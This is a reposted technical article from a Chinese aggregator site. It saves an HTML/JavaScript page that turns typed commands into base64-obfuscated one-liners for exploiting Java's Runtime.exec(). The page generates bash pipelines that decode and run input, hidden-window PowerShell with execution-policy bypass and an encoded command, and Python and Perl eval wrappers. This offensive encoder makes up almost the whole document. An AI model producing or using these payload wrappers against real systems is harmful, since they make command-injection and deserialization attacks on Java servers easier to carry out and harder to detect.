java.lang.Runtime.exec() Payload Workarounds
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了java.lang.Runtime.exec() Payload Workarounds,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含2364字,纯文字阅读大概需要4分钟。
内容图文
来源:http://www.jackson-t.ca/runtime-exec-payloads.html
扣一下html代码,保存在本地方便查找,也方便增加。
<!DOCTYPE html> <html> <head> <title>java runtime exec usage...</title> </head> <body> <p>Input type: <input type="radio" id="bash" name="option" value="bash" onclick="processInput();"checked=""><label for="bash">Bash</label> <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label> <input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label> <input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p> <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea> <textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();"readonly=""></textarea></p> <script> var taInput = document.querySelector(‘textarea#input‘); var taOutput = document.querySelector(‘textarea#output‘); function processInput() { var option = document.querySelector(‘input[name="option"]:checked‘).value; switch (option) { case‘bash‘: taInput.placeholder = ‘Type Bash here...‘ taOutput.value = ‘bash -c {echo,‘ + btoa(taInput.value) + ‘}|{base64,-d}|{bash,-i}‘; break; case‘powershell‘: taInput.placeholder = ‘Type PowerShell here...‘ poshInput = ‘‘for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); } taOutput.value = ‘powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ‘ + btoa(poshInput); break; case‘python‘: taInput.placeholder = ‘Type Python here...‘ taOutput.value = "python -c exec(‘" + btoa(taInput.value) + "‘.decode(‘base64‘))"; break; case‘perl‘: taInput.placeholder = ‘Type Perl here...‘ taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64(‘" + btoa(taInput.value) + "‘))"; break; default: taOutput.value = ‘‘ } if (!taInput.value) taOutput.value = ‘‘; } taInput.addEventListener(‘input‘, processInput, false); </script> </body> </html>
原文:https://www.cnblogs.com/yangxiaodi/p/12745188.html
内容总结
以上是互联网集市为您收集整理的java.lang.Runtime.exec() Payload Workarounds全部内容,希望文章能够帮你解决java.lang.Runtime.exec() Payload Workarounds所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。